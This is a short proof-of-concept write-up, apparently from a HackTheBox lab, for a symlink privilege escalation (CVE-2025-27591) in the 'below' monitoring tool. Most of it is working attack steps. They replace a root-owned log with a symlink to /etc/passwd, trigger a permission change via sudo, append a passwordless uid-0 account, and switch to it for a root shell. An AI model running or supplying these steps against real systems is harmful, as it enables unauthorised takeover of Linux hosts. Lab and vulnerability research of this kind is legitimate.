CVE-2025-27591 PoC: Below (≤0.8.1) symlink privilege escalation exploit.

below linux privilege escalation(CVE-2025-27591).md

Below Privilege Escalation Exploit

Vulnerability Information

Affected Software: below monitoring tool
Vulnerable Versions: <= 0.8.1 (possibly < 0.9.0)
Vulnerability Type: Symlink-based privilege escalation
CVE: CVE-2025-27591-PoC Source: HackTheBox - Outbound machine

Overview

This exploit leverages insecure file handling in the below system monitoring tool. When run with sudo privileges, below writes error logs to /var/log/below/ with elevated permissions. By replacing the error log file with a symlink to a privileged file (e.g., /etc/passwd), an attacker can manipulate the permissions of that file and gain root access.

Exploitation Steps

Step 1: Generate Initial Root Logs

sudo below

This creates log files in /var/log/below/, including error logs owned by root.

Step 2: Identify the Error Log File

Navigate to the logging directory and identify the error log filename:

cd /var/log/below
ls -la

Look for a file named something like error_root.log.

Step 3: Create Malicious Symlink

Remove the original error log and replace it with a symlink pointing to /etc/passwd:

rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log

Step 4: Trigger Permission Change

Run below with sudo again to activate the symlink:

sudo below

When below attempts to write to the error log, it will follow the symlink and modify permissions on /etc/passwd, making it writable by your user.

Step 5: Add Root User and Escalate

Add a new root-privileged user without a password to /etc/passwd:

echo 'strikoder::0:0:root:/root:/bin/bash' >> /etc/passwd

Step 6: Switch to Root User

Switch to the newly created root user:

su strikoder

You now have root shell access without needing a password.